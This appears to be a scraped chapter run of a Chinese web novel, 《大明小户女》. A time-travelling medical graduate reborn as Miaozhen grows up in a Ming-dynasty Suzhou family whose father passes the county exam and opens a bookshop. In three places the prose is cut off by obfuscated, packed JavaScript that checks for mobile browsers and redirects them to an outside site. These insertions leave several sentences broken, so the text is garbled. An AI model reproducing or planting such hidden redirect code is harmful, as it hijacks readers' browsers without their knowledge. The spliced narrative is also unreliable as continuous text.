《大明小户女》 1. 徐家众人 都说六月的天,孩子的脸,天气变化的快,八月的天也不遑多让,方才还晴空万里,此时天空却黑压压的一片,瞬间就大雨倾盆。 归元寺位于苏州阊门城西,乃元代所建,殿堂沿一条中轴线向纵深展开,等级森严,对称规整。东边乃礼佛之地,肃穆严整,西边则是求签问卜之地。 一位年轻妇人正好从西边走了出来,她身着毛青布大袖衫配着深蓝色马面裙,裙下露出一截乳白的膝裤,因衣裳宽大,遮住了她五个月大的肚子。 只见她左手挎着一个篮子,右手牵着一个粉衫女童,见雨势大,就对那女童道:“真真,我们就在廊下等一会儿,等雨停了再去吧。” “好,娘。”说话的女童,不过七八岁的模样,鹅蛋脸儿,鼻子小巧,樱桃小嘴,眼睑呈圆弧形,黑珠眼白露出多,目光明亮,看起来很机灵,生的很讨喜,但眉心中间的一颗胭脂痣让她又端庄许多。 俗话说眉心红印有早慧的意思,这女童也是显得格外聪明伶俐,然而她并非天生早慧,而是穿越过来的。 原本她是中医针灸推拿科毕业的硕士,刚入职老家一家中医院没到一年,就因为同事被医闹,她上前拉架,没想到被推在地上晕倒了,醒来便胎穿到了大明朝一户小小的人家了。 祖父母原籍湖广,因改稻为桑的缘故,苏州缺粮食,老夫妻二人便在枫桥开了一家小小的米店,养下三子一女,妙真刚出生的时候还住米店后面那憋仄的房子里。 后来,随着儿子们都成婚了,祖父母深觉已经完成任务了,便把米店传给小儿子,也就是妙真的三叔。徐三叔深觉米店太小,湖广客源又不稳定,遂改成了一家小的茶食店。 而妙真的爹,在家排行老二,十九岁过了府试成了童生之后,院试没过,家中无钱供应。他先在社学以馆谷为生,因读书时就爱看话本,却每每被那等虎头蛇尾的话本气到无语,故而一怒之下自己开始写话本。 说起来,他并非名师教导,也并非书香人家,却在话本上很有天赋,前三年,每月只有两三钱的润笔费,他依然坚持不懈,到第五年的时候突然开窍了似的,一个月足有十两的入账。 靠着这笔钱,她爹不仅能参加院试,还能养家糊口。 因院试三年两次,她爹徐二鹏已经参加过五次了皆不过,今年是她爹参加的第六次科举,她娘梅氏随带着她到归元寺给爹求了签。 现下外面下雨,厅内都是避雨之人,妙真扶着梅氏坐下。 要说徐二鹏屡试不中,十足十的科举怨夫也就罢了,梅氏也是时运不济了,她出嫁时,梅外公还只是个穷秀才,她是长女,底下弟弟妹妹七八个,嫁妆都只堪堪凑了六抬。 可她前脚刚嫁出去,后脚梅外公就中了举人,家中房舍仆婢立马都置办起来,更不必说她的弟弟妹妹们各个都是结极其势富的人家,甚至有一位嫁给了本府大户乔家。 梅氏却是过的苦日子,刚成婚就怀上妙真了,婆母还有个只比妙真大两岁的女儿,只张嘴跟她们哭穷,也不帮着伺候月子,反而把丈夫给自己买的鸡蛋偷偷拿的吃。 还好她丈夫能干,这几年她手里多了二百多两的积蓄,如今连肚子也怀上了,现下只盼着丈夫秀才得中,也算是一偿宿愿了。 “娘子……” 就在梅氏和妙真母女躲雨时,却见外面进来一年轻戴方巾的男子,他身躯胖乎乎的,人却灵活的很,拿着两把黄油伞很快就进来了。 妙真和梅氏都一喜。 妙真赶紧起身喊道:“爹,您怎么来了?” “我想着下雨了,怕淋着你们母女,这可不就来了么?”徐二鹏说完又看了梅氏一眼:“你没事儿吧?” 梅氏赶紧摇头。 这徐二鹏因为生的微胖,看起来脾气好人温和,但却是个有毅力的人,他除了每日勤耕不辍写话本之外,便是一心准备科举,不考到秀才誓不罢休。 徐二鹏道:“我早上听爹说大哥要从云南回来了,这才去了一年多,也不知道怎么就回来了?” 听到这话梅氏却担心另一件事:“大哥他们回来之后要住家里吗?” 四年前,徐家祖父母让儿子们凑钱在离归元寺不过三里路的枫桥买宅,还好明朝房价不高,一共五十六两就买了门脸四间上下两层的楼房。 上下一共八间房,三兄弟各自两间房,徐老倌夫妇住一间,另有一间做厨房。当年大哥虽然没回家,但知晓家里要买房,也是凑了二十两拿回来的。 二房住楼上东边的两间屋子,徐二鹏和梅氏住一间,妙真大了开始住在外间,他们是只占了两间房。可是徐老太的女儿徐四娘长大了,便占了大房一间,徐家老三徐三磊做茶食生意的,也把里面堆着面粉和一些模子,做成了杂物间,又占了大房一间。 却听徐二鹏笑道:“大哥十五岁就过了童生试,被姓方的珠商选做女婿,见他院试没过,送他去金陵书院读书,又寄籍在应天府,说应天府好考。大哥虽然连续考了两次未中,方珠商的女儿又病死了,可大哥愿意让方姑娘把坟埋到咱们家,方家就把原本为女儿准备的一千两嫁妆钱都资助大哥。你想啊,大哥在应天府被拔贡,后来还去云南做官了,手里哪里缺钱呢?怎么看得上这两间屋子。” “也是。”梅氏失笑。 又见徐二鹏道:“其实我也不想住这里了,但现下咱们再等等吧,等手里多了钱,我就想开一间书坊。” 妙真不解:“爹,您为何要开书坊呢?” “《明会要》卷二十六载,洪武元年八月,诏除书籍税。卖书是没有税赋的,况且我也不愿意开馆,社学一个月不过八钱,好一点的一两,那些孩童又顽皮,便是我中了秀才也不愿意开馆。”徐二鹏从小就喜欢看《包公奇案》这样的书,他如今写的很多也是破案的书,这样的书也颇有一批人爱看。 妙真心想他们住的枫桥在阊门外九里道傍,而阊门则是苏州府最负盛名的书刻坊集中之地,甚至阊门的刻坊的书吴刻,在天下都是闻名的,也难怪爹在写书之余,还在学刻字。 原来是为了开书坊做准备啊! “爹,娘方才给你求签,求了一注上上签呢。”妙真笑道。 其实是梅氏求了两注下签,重新抽到上签才作罢。 徐二鹏素来不信这些,但听女儿如此,只道:“我这些年不知道盼了多久,又失望了多久,这次不中,再等二三年,我就彻底绝了这心思。” 他想中秀才,更多的是对自己身份的认可,虽说如今秀才米粮补贴早已没有,但秀才可以出门游学不受限制,上公堂不必下跪这些好处。 三人正说着话,见外面雨停了,徐二鹏携着妻小出去,不曾想回到家时,门口停着几辆马车,原来是徐家大爷徐一鸣携妻小回来了。 妙真看她这位大伯,头戴绉纱瓦楞帽,身上穿湖蓝色暗花纱褶儿,底下配着月白色纱旋子,脚上穿着上等凉暑白袜,踩着细结底陈桥鞋。他相貌清俊,衣着体面,往那儿一站,简直蓬荜生辉。 倒是大伯母黄氏显得逊色几分,即便她也是一身绸子衣裳,但她脸色微黄,眉心有纵,总感觉有些苦闷。 大伯家里也只有一个女儿,名叫妙云,她已经是小淑女的样子了,行礼行的很好看。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐二鹏见气氛不妙,连忙道:“大哥,说起来监生的监照是什么样的?你拿给我看看吧,让我们也瞻仰瞻仰。” “那监照我放在箱子底下了,不好找啊,等会儿行李拾掇出来再给你。”徐一鸣说这话很心虚,他在金陵游学时,和朋友们走马章台,一派贵公子样,钱是不经用的,到后来功名未成,连府试都只是勉强过了。 为了给家中一个交代,他打算捐一个监生,但平民捐监要三百五十两不说,疏通关系还要再拿五十两,他见人家的监照上还有“纳捐”二字,深觉不划算,况且他手里的钱也不多了,遂只花了几十两办了个假监照。 偏徐一鸣害怕东窗事发,所以很心虚,但他又沉湎于这种贡生的虚荣之中不可自拔。他也转移话题,问徐二鹏和徐三磊两位弟弟做什么营生。 听说徐二鹏写话本子,很不赞成,倒是夸徐三磊脚踏实地。 就在这时,几位衙役敲锣打鼓的进来,走近了看,他们脸上都堆着笑。 “捷报贵府老爷徐讳二鹏高中苏州府院试第五十六名,京报连登黄甲!” 妙真“呀”了一声:“爹爹中秀才了。” 方才还侃侃而谈的徐一鸣筷子上夹的花生米就那么掉下来了,满脸错愕,徐二鹏一面去拿散钱来打发报喜人,一面谦虚道:“大哥是贡生,我不过是秀才,差远了呢。” 徐二鹏是真心觉得自己不如大哥是贡生,只是没想到他大哥却羡慕徐二鹏起来,至少徐二鹏的秀才是货真价实的,可以四处行走都不怵的,他那个假监照却是怕见人的。 2. 立志学医 狂喜过后,家中恢复如常,大伯一家也住了下来,大伯母黄氏身边还有个丫头伺候,专门烧饭伺候大姐妙云。 原本家里都没下人,徐二鹏即便手里有钱,也只是个平民,不好纳仆,如今梅氏有妊在身,他又是个秀才,所以打算请个下人。只是,梅家知晓后,梅外公特地送了个下人丰娘过来。 丰娘四十岁上下的年纪,烧的一手好茶饭,做事麻利的紧。 有了她来,梅氏只管养胎就好。 妙真则是如常读书,她在东街余秀才办的女学已经读了一年了,明朝民间流传“男忌双,女忌单”,所以她们女孩儿家里稍微有余钱的,几乎六岁就上学了,连三叔家的妙莲今年也是要读书的。 余秀才一笔字写的很好,又工于诗词,也有些口碑,且他这里一年学费约莫八十到一石小麦,折合银钱差不多七八钱左右,也不是很贵。 早上,徐二鹏送妙真去学堂里,父女二人在沿街的鲜鱼面馆吃早点,妙真爱吃这里的鳝丝面,面是切的细圆的银丝面,汤底鲜美,鳝丝浇头脆脆的,更增添口感。 “真真,你中午想吃什么菜?”徐二鹏问女儿。 妙真想了想:“水芹炒肉丝。” “好,爹回去让丰娘做,中午给你送来。”徐二鹏如此道。 等用完早点,父女二人很快到了余秀才这里,平日余秀才是坐在堂前不动的,今日专门出来:“徐朋友,大喜啊。” 明朝喜欢把生员叫做“朋友”,称童生为“小友”,之前余秀才都是一口一个“小友”的喊徐二鹏,如今也以“朋友”称呼。 对于徐二鹏这样屡次挫败又心态好的人而言,虽然有些扬眉吐气,到底不骄矜,只浅浅和余秀才说几句话,便回去赶话本了。 他之前心思都在学业上,话本上又有些灵感枯竭,但灵感枯竭也得写,只有逼着自己写才能进步。 等徐二鹏离开之后,妙真坐在位置上,这个学堂一共七八个女学生,都是附近商贾的女儿。余秀才只靠这点馆谷也不好过活,还好他娘子能干,又会养蚕,又会织绢。 余家娘子和她女儿两个人每年织绢一百二十疋,一匹绢差不多一两,一年就是一百二十两,除去成本经丝、纬丝七十多两,籰丝钱、家伙、线蜡成本五两,两人一年到头也能余下二三十两。 所以,余秀才家里也还算过得去。 妙真也在想自己的出路是什么,前世她是只管读书,就连选中医针推都是爸妈选的,在古代,她们这样的小户女子嫁妆不丰,必定也得有一项手艺才行。 就她现在看到的女子中,最普遍的就是做些针黹女红,像余秀才娘子这般,要么就是女塾师,到人家家里做女先生,似她大伯母那般,再有她老本行医术。 现下三吴女医多了起来,尽管不少士大夫斥之,但又少不了。有些医婆若是被举荐到宫里,再出来时身价就不同了,再有别的事情都年轻的吃香,但是医女却是越老越吃香,越老越让人家信赖。 不过如今世人对医婆药婆偏见都很大,三姑六婆都被斥为不入流。 罢了,还是走一步看一步吧。 去年学了《三》《百》《千》,把字先教大家学会,今年学《孝经》《小学》《列女传》《女训》这些,早上学完,中午丰娘送饭过来,一样银鱼羹、一样水芹炒肉丝,还有炒的鸡蛋。 这样的伙食已经是相当好了,这还源于他爹收入见涨,所以生活变好了。 丰娘陪着妙真用饭,一边还说家里的事情:“你大伯母啊回了娘家就不来了,又说要到外面赁宅子去。还是姑爷说你祖父母和你三叔都要占着他们的房间,不如一人出十两给他们,让他们出去买或者赁都可。” “那他们给了吗?”妙真问起。 丰娘笑道:“给了,还重新写了分家的文书呢。” 妙真道:“爹还真的是说话办事都很公允。” “可不是么!” 等妙真下午散学回家的时候,大伯和大伯母都搬走了,没几日听说大伯父经由朋友推荐到了书院做讲郎,专门教授《左氏春秋》,一个月听闻三两银子,大伯母听闻也在她叔父的丝绵铺里寄卖女红。 徐二鹏很是羡慕:“大哥在金陵结识的人都不凡。” “相公你也不差啊,他还不是向你借钱。”梅氏从本心来说,也不觉得丈夫差。 徐二鹏摇头:“我这钱是存着将来咱们家开铺子用的,怎么能借人,如今想起来,以前少不更事的时候,借出去的钱是没有回来的。” 他自成婚后,只有一年赚的钱都给他爹娘了,一笔五十两给妹妹四娘买纺织机,一笔三十两是祖父过世他拿的银钱,还有一笔三十三两是将来妹妹出嫁他准备的添妆,这一笔他暗自收着。 有了这差不多一百两左右的银钱,他在家里地位高了不说,将来便是开书坊单独出去住,家里人也不会说什么。 不管怎么样当年他读书读到十九岁,也是爹娘供的。 读书人最怕被人说不孝,他出的每一文也都有证据,旁人谁都知晓。 梅氏当然也知晓这些,因为丈夫也同她解释过,说他们现在拿出来的钱都是能看到的,但是将来养老送终,那些钱才是大头,所以她也没为这些和丈夫争吵。 徐二鹏也乖觉,他对爹娘说那是他攒的私房钱和借的银钱,不让梅氏知晓,让爹娘也别出声,因此徐老倌和徐老太夫妇听说他出去还钱时都心虚,有时候会给妙真一二钱让她买吃食。 大人们的这些事情孩子们不太知晓,就像徐四娘见妙真换了个套新衣裳,大红罗绣樱桃对襟衫子,底下着乳白绣猫儿栖芭蕉树下的马面裙,头上换了新绢花眼红不已。 她立马就闹着要徐老太也做这么一身,偏徐老倌夫妻早已只是在小儿子店里帮帮忙,就连吃食都是在三房混着吃,三房的儿媳妇包氏手里钱拿的紧,她们只早上帮忙,就只给两三文早点钱,哪里有闲钱? 故而徐老太道:“那是你嫂嫂给你侄女儿做的,她活计好,不如你央她做些。那些布说起来,还不是人家送给你二哥的。” 徐四娘立马就上去找梅氏,梅氏还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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妙真打开药包闻了闻,果然道:“娘,这方子上写的是白术,可是这药却是用苍术代替的,白术补胎,苍术是打胎的……” “不会吧?那孙大夫也是有名的大夫了。”梅氏狐疑。 她想起她娘和这个时代的妇女一样多多少少,还是有些迷信的,又想宋代张小娘子也是托游方之人教她《痈疽异方》,她为何又不能呢? 故而,她道:“上回和娘去归元寺,有个老头陀要喝水,我赠了一管水给他,也不知怎么就懂一些针灸之法了,也就懂些许药理了。” 梅氏听了大骇,又想自己孩儿竟然有这番造化,徐二鹏在不远处写书也听见了,他们夫妻都不把女儿的话当耳旁风,他先把药拿去惠民局让人看,果然是用苍术代替白术,气的他打上门去,拆了那药方的幡。 好在吴中名医很多,徐二鹏书坊认识的人又推荐了一位姓薛的非常有名的大夫来,这次梅氏就把自己身上不舒服的症状都说出来了,人家才道:“这不是什么湿邪之体,是脾肺气虚罢了,用补中益气汤加减就好了。” 这一共开了十剂,到第四剂的时候梅氏就差不多痊愈了,喝到十剂就已经大好了。 经此一役,原本还在犹豫选什么的妙真当下就决定想学妇科,至少能为娘看病。要知道她是胎穿的,几乎都是梅氏一手带大的,她瘦弱的背总是背着她,从来都不嫌重。 现在真正的妇科女大夫太少了,兴许这活计会和他爹写话本子一样,成一个绝活的。 3. 买房啦 妙真想学医,她爹也同意,徐父其实是个颇有远见的人,还特地打听了一下,认为工欲善其事必先利其器,因此,他对女儿道:“药王孙思邈就说过,凡欲为大医,必须谙《素问》、《甲乙》、《黄帝针经》、《明堂流注》、十二经脉、三部九候、五脏六腑、表里孔穴、本草药对,张仲景、王叔和、阮河南、范东阳、张苗、靳邵等诸部经方;又须妙解阴阳禄命诸家相法及灼龟五兆、周易六壬,并须精熟。你呀,还是先好好读书,要不然就和那些医婆药婆庸医一样。” “爹先把这些书买回来给你看,意思不懂的我告诉你,然后再学《易经》,等学有所成,爹到时候带你去求名医也好说话。” 他怕女儿只是一时热度,所以也得看看女儿能不能坚持,况且,在女儿努力的过程中,他也把店铺操持起来,如此也有些地位,不至于拜师让人看轻。 因此,徐二鹏在年底拿了七十两的润笔费后,给女儿买了个针灸铜人,还买了《难经》《脉诀》《丹溪心法》,让她平日先自己琢磨。 其余的银钱,他就都给梅氏收起来了。 要过年时,学馆停了,妙真便把医书拿着研究,要知道现代学的针推和古代还是有所不同的,现代用电针、脉冲之法,还能拍片各种辅助手段,古代却要靠辩证,差之毫厘谬以千里。 越是过年,徐三叔的茶食店生意就越好,以前每日还有剩下来的拿回来给大家吃,现下是卖不够,连妙莲都要拉去帮忙。徐二鹏也没闲着,过年也是笔耕不辍,他出去吃饭,几乎都不超过一个时辰,每日拿笔就是写,甚至为去年只赚了七十两懊恼,觉得赚的太少了。 因此徐大郎带着妻女回来时,就发现这样一种情况,别家都忙着过年,自家人都是忙自己的事情,一点年味也没有。 他书院的差事干的也不怎么痛快,别人都以为他是贡监,有人还打听他是何年的秀才云云,他随意说了一句,就有人说认识他同年,还要介绍他们认识。 这让他慌了手脚…… 徐二鹏哪里知晓这些,他就知道年少时,大哥就是自己遥不可及的目标,哥哥生的俊有贵人相助,自己生的平凡只能靠自己,哥哥天资聪慧被先生青睐,他只勉强算得上可以,甚至运气也不太好,每年过年去岳家就被那些妹夫们明里暗里比较区别对待,大哥却是岳家宠爱,主动出资一千两。 二人完全是天上地下的区别,所以他听说大哥要从书院辞馆,说和人处不来,还觉得奇怪。 在里面读医书的妙真听到前面二人的对话,忽然想起一句老话,三十年河东三十年河西。 自己也要努力了! 比起妙真看医书,大姐姐妙云愈发一派大家闺秀的模样,坐卧用饭都和寻常姑娘不同,很是好看,连梅氏都夸她:“大姐儿真的是越发出众了。” “弟妹快别夸她了。”黄氏嘴上这样说,心里却很得意。 黄氏是这般想的,将来女儿若是做个闺塾师,不仅有收入,还能够出入大户之家。小户人家的女子想往上社交,只能如此了。 女儿比自己还强呢,她生的其貌不扬,又只是个秀才的女儿。女儿却是贡生的女儿,相貌似她爹,有八分的颜色,将来若是能嫁到大户人家,比什么都强。 年夜饭用完,徐二鹏忙让人把祭祀的猪头去屠户家还了,徐大郎还不解:“这既然是用来祭祀的,怎地还回去?” “原本就是租的,如今有专门的宰赁猪羊的店,大哥这也太不食人间烟火了。”徐二鹏打趣。 徐大郎却觉得有些冒犯,想着这弟弟自从中了秀才,就有些不可一世了。其实哪里是别人变了,是他不再受众人吹捧了,二弟是秀才,三弟生意好,他虽然社会地位高,但过年一文不出,别人嘴上不说什么,心里哪里不会有意见。 又说梅氏快要临盆,她让人准备了草纸、绷接和小褥子,她现在手里有钱,又有人帮忙,心里安定了许多。 徐二鹏又早早下了二两定钱请了附近有名的稳婆来。 一应准备妥当后,梅氏在正月初八顺利生下一个儿子,单名一个坚字。 众人都说巧,妙真是正月十五元宵节生的,坚哥儿是初八生的,姐弟二人倒是都生在一个月里。 待梅氏生下儿子后,梅家来了一位舅娘,送了一顶银项圈,中午饭都没吃就走了。妙真听说这位舅娘是嫌徐家总有一股味儿难闻,不愿意久待,她知晓这是人家嫌弃自己家穷。 正月十五是妙真的生辰,她爹又买了一本《太平惠民和剂局方》送给她,还从外面买了细巧点心给她,梅氏让丰娘给她下了一碗长寿面卧了两个鸡蛋。 吃完了面,梅氏还许诺等她出了月子就带自己去看春台戏。 立春之后的第五个戊日就是春社日,春台戏都是在春社日前后举办,也叫社戏。每年爹娘都会带她去看,男人们挤在前面看,女人们在木围墙里看,那附近还有小贩卖豆饮子,很是好喝。 她在古代的日子,其实过的很惬意的,在现代她父母离婚且各自成家,后来见她读书不错,又都在她面前揽功。 反而在古代,她收获了家庭温暖。 元宵之后,妙真又要上学了,今年余秀才的女儿就要出嫁了,明朝女子出嫁嫁妆就几乎是厚奁,王阳明曾经谈到:“男女长成,各宜及时嫁娶;往往女家责聘礼不充,男家责嫁妆不丰,遂致愆期。” 甚至有男方因为女子嫁妆薄而悔婚的,余秀才平日优哉游哉的,如今为了嫁妆,胡乱招人来,把刚开蒙的和她们读了两年的混在一起读书。 徐二鹏对女儿道:“等日后爹爹再帮你找一所好的女学。” 他一边说,又一边让妙真背《难经》《脉诀》,她背不出来时,他还会提醒一两句,手却是一直写字的。 妙真见他爹说话间眼圈青黑,知晓他常常熬夜写书,睡眠不好,一月之内都有七八日失眠到天亮,百日再补眠,她有意说些药方,但想着她现在还什么都不是,爹也不会听。就像她爹未考中秀才时,即便说的话都对,也无人赞同,中了秀才后,说话分量大多了。 她原本是有基础的,背起这些来很顺畅,徐二鹏听完后,深觉女儿小小年纪,竟然有如此毅力,难道还真是有神授不成?因此不吝夸奖女儿:“二姐你真是既聪明,记性好,悟性也好。爹爹要奖励你,你看你要什么,爹爹去买?” 人变小了,她也真的跟小孩似的:“我要一盏荷花灯。” 这样小小的要求,他当然满足了,不仅买了一盏荷花灯,还多买了一盏夹纱灯,喜的妙真不行,晚上不点蜡烛,偏点着灯笼去茅房。 但这般如此,又点了徐四娘和妙莲的眼,小孩子本来就喜欢眼红,都闹着要花灯。 徐三叔很快帮女儿买了一盏兔子灯,倒是徐四娘这里没有,徐三叔背着包氏买了一盏给妹妹,包氏阴阳怪气了好一阵。 “今年我是一定要多攒些银钱。”徐二鹏也受不了这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020531|178498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,人多了住在一起,鸡毛蒜皮的搞的人烦。 梅氏道:“等我出了月子,就开始织布,咱们俩多攒些钱。” 徐二鹏赶紧道:“你也不必忙,还是照顾好坚哥儿才好。” “若不然,咱们也可以赁一个铺子做书坊,未必一定要买的。”梅氏怕徐二鹏压力太大了,只得这般。 很快,梅氏这话就说不出来了,因为徐三叔的房主今年不把铺子赁给他们了,说是准备收回铺子。要知道这间铺子可是徐家两代人租的,当年徐老倌在这里开米行做起来的,到了小儿子手里,那茶食店开的有声有色,尤其是这一二年,徐三叔生意是越来越好。 生意一好,抢位置的人可不就来了么? 是以,这铺子只好关门,徐三叔每日趿着草鞋出去大街小巷找铺位。 也因为三房茶食店关门了,三婶包氏在家里的日子就多了,二房三房住的房间对着,包氏脸皮厚又爱占便宜,起初让丰娘帮忙打个水,摘把菜倒也罢了。 到了后来,时不时就喊人过去帮她看一会儿章哥儿,又是帮她纳鞋底,这丰娘像她的下人了?以至于梅氏月子里喊人还不到,丰娘也是满肚子气。 偏徐二鹏这几日去找宅子,他这个人喜欢提前作准备,即便买宅子也要先找牙行,多对比比较,夜里回来时,一个人还要写话本。梅氏不愿意拿此事烦扰她,妙真听了不像话,等再一次包氏过来二房门口喊人时,她就出来了。 “三婶,你去喊别人帮你吧,丰娘还要照顾我弟弟呢。你上回把丰娘喊走了,我娘躺床上不好起身,弟弟尿片都没人换。” 见侄女出来说话,包氏堆笑道:“丰娘是个好人,也乐意帮我哩,等她闲了再说,闲了再说。” 这样的滚刀肉,你还不好说什么,妙真只好趁着早上她爹送她去学里的路上说了。 徐二鹏也觉得在家越来越不便,尤其是小儿子出生之后,一家四口还有个丰娘都住在两间房里,家里还吵嚷的很,他话本也写不好不说,妻子如今也被烦扰。 原本阊门内有一处宅邸,是原本一位士绅的宅子,后人已然落魄了,准备搬到乡下守着田亩过活,那宅子约莫一亩三分大,门脸两间,坐北朝南,一共三进,最里面一进是两层小楼,房主喊价六百两银子。 那人急着要钱买地,说可以先出三百两,让他再写三百两的借条,四成息就好,也就是比正常多一分息,他那宅子也卖。 本来还在犹豫中,因为阊门刻坊一条街本是极其繁华的地方,正常也要八百两的,若非他急着用钱,也不会六百两卖。这几日,他也看了好几间宅子,甚至都看到吴县那边了,唯独有这间合他的意。 草木扶疏,粉墙黛瓦,二堂可以做会客做书房,三进让女儿单独住绣房…… 今日听说此事,他立马下了决断,回去就和梅氏商量,梅氏原本有些不同意的,但过了几日出月子跟着丈夫去看了一下,也爱上了这里。 梅氏手里一共有三百二十两,再有徐二鹏把准备给徐四娘的嫁妆银三十两也给了妻子,他去年因为科考只写了一本书,一年只拿了七十两润笔费。今年却是两个月全身心的写,已然写了十八卷了接近三十多万字到书坊,卖相极好,到四月份就能拿到一笔润笔费了,正好能还上。 三月底的时候,这座宅子就买了下来,徐二鹏有秀才的身份,能和衙门的人打交道,红契拿到手里了,两个素来都十分谨慎的人头一次豪赌了一把。 4. 拜师 徐二鹏在阊门这样繁华的地方买了三进的宅子,却并未声张,连祖家里人是一概不知的。写书的闲暇,他找了包造楼房的人,那些人听闻是永乐年间修过紫禁城的,是有名的香山帮,请彩绘匠人帮他把两间门脸重新装修成书店模样,又让木匠打了书柜。 等门脸修缮时,他又找牙行雇了两名刻工,正好是姓唐一对兄弟,每页约五百字的刻酬在白银一钱五分,写工两名,工钱每百字四厘。 除此之外,还要备下福建竹纸和雕刻用的枣木、梨木。 他手头银钱有限,故而只印最紧要卖的最火的,一是科举要用的书,像《四书集注》、《策论范文》、《昭明文选》还有《状元策》《程墨精选》都是热门,书封面还会写上“包中举”“必中”这样的字眼。还有一种就是通俗话本戏曲,如《唐三藏西游释厄传》、《牛郎织女传》、《观音出身传》、《达摩出身传》、《南宋志传》、《北宋志传》、《大宋中兴通俗演义》这些。 因为他自己本身也有一批书粉,所以在完成四月份的手稿后,他便开始筹备新书,先写十卷约莫十万字左右的一册书做引子。 故而,除了店里的事情,徐二鹏晚上还得拼命写,梅氏也是如此,白日除了照看孩子就纺线织布,晚上做暑袜,就连妙真下学过来也跟着一起做,一家人心往一处使。 有时候徐二鹏起身活动一下,会跟梅氏说店里的事情:“竹篾器具便宜,咱们将就用着,等咱们得店走上正途,我们再置办一份好些的家俬。” “不必在意我们,先把店里做好。”梅氏笑道。 徐二鹏道:“等搬过去后,替咱们女儿找一个更好的先生教她,等日子好些了,再买几个下人伺候你们母女,比什么都强。” 夫君什么都想着自己,又那样能干,梅氏十分高兴。夫妇二人说完话,见妙真已经在小床上睡着了,都蹑手蹑脚的回到各自位置上。 书市一般在每个月的朔望日和初六都会有外地的书商和一些小书贩专门来鬻书,他要争取在五月开张。 与此同时,徐三叔的店铺还未寻摸好,稍微好一点的位置就贵的吓人,差一点的店他自己也看不上,包氏发脾气的次数也是越来越多,嫌妙莲读书费钱,直要把她停了,还是众人劝解,才让妙莲继续读书。 比之三婶动辄不让女儿读书,大伯母却专门让女儿从了位女塾师学画,夜里妙真起床出恭,听她爹道:“老大找老三要了五两银钱,给妙云学画的,还说大嫂因为让妙云学点茶、香道已然是出了十两的束脩,已然是手头紧了。” 妙真听了咋舌,不过她也很奇怪,大伯父不是贡生吗?怎么仿佛还借起钱来。 却说这徐大郎和黄氏在阊门到胥门最繁华推带赁的宅子,一个月是六钱银子,一年便是七两二钱银子。他夫妇的工钱都不低,黄氏会养蚕缫丝自己织绢,一年差不多能织六十匹左右,除去成本也有四十几两,徐大郎之前做讲郎一个月也有十两,但是他这个讲郎做的心虚,怕人家探他的虚实,遂去一家社学做先生,这么一来,一年只有十二两,还有每天两分银子的伙食,一年下来也不过七八两。 其实这对于普通人而言,也十分不错了,但是黄氏拼命想生个儿子,各种抓方吃药,还要培养女儿,因此二人生活才拮据起来,也不得不借钱来。 当然,他从书院辞职,到社学教书,这些事儿他都没跟家里人知会。 但可不知怎么,徐大郎是松了一口气的,再也不必被人怀疑了。 这样一来,黄氏又不满:“你一个贡生,做讲郎绰绰有余,那一个书院不好,还能去别的书院?怎么就只去一个社学,说出去我都没脸了。” 徐大郎还能说什么,他也十分无力…… 在一旁的妙云见她娘骂她爹,也是默默垂下眼睛,还好她夫妻二人见女儿这般,连忙停止了争吵。 然而在五月,徐大郎得知弟弟乔迁新居时,都有些不可置信,他对徐三郎道:“这是真的假的啊?” “是真的,二哥在阊门开了一家金阊儒林书坊,家里那两间屋子都卖给我了,说是要凑钱,为了买那宅子,欠了好大一大笔钱呢。只我也刚盘下铺子,钱不凑手,就只给了几吊钱,其余的日后再还。”徐三郎这般说也是暗示徐大郎早日还钱给他。 徐大郎知道是二弟买下来的之后,肯定要上门的,黄氏也准备了两样水礼过去,她们一家三口到了钮家巷时,见此处书坊林立,书籍精美,附近还有秦楼楚馆林立,也无怪乎此处是最精华之地段。 “是那儿吗?”妙云人小眼睛尖,很快就看到了。 他夫妇二人顺着女儿的指向看到门脸两间颇为齐整的书坊,牌匾上写的便是“金阊儒林书坊”,柱子上描的各种梅兰竹菊,很是雅致,外面挂着“最新的《周羽教子寻亲记》已经到货”的旗帜,书架上摆放的都是最时兴的话本子。 又见徐二鹏迎出来道:“大哥大嫂,我带你们从那边进去。” 说罢,又让伙计在这里看着,请他们饶到东边的门进去。徐大郎细细观察,前面一进的门脸改成了书坊,一进到二进之间安了卷棚,卷棚底下放着一辆独轮车,应该是送货用的。西边是几间屋子,里面能看到有工匠在里面忙活。二堂则是几间大堂,听徐二鹏道:“这里是平日会客之处,这二堂西边开了一扇门,通往厨房杂物间。我们夫妇住大堂对面,至于三进是绣楼,给真姐儿住。” 从二堂径直走到正房,是一条小道,附近栽种的花圃极是可爱,月季、凌霄花、半枝莲、蔷薇都开的鲜妍。 男人们都在二堂说话,徐大郎见二弟的岳父梅举人过来了,还有梅家几位舅兄都在此处谈天说地,这些人之前对自己这二弟可是用下巴看人的,如今一口一个姐夫喊的亲热。 徐二鹏笑道:“今儿是书集,我就先失陪一回,大哥三弟帮我招待一二。” 又说黄氏牵着女儿妙云的手到正房去,这里好些女眷都在说话,济济一堂呢!黄氏心里有些发酸,但见梅氏笑道:“我们家里置办了宅子之后,实在是没钱了,所以大家且看顾些。” 屋里虽然没有名贵家俬,可是能住的起这个精巧雅致的宅子,才真让人羡慕呢。 妙真也是头一回入住新家,空荡荡的还有些不适应呢,徐家二房突然就鸟枪换炮了。但她喜欢新家,两层的绣楼,一楼准备将来住丫头的,二楼是她居住的。 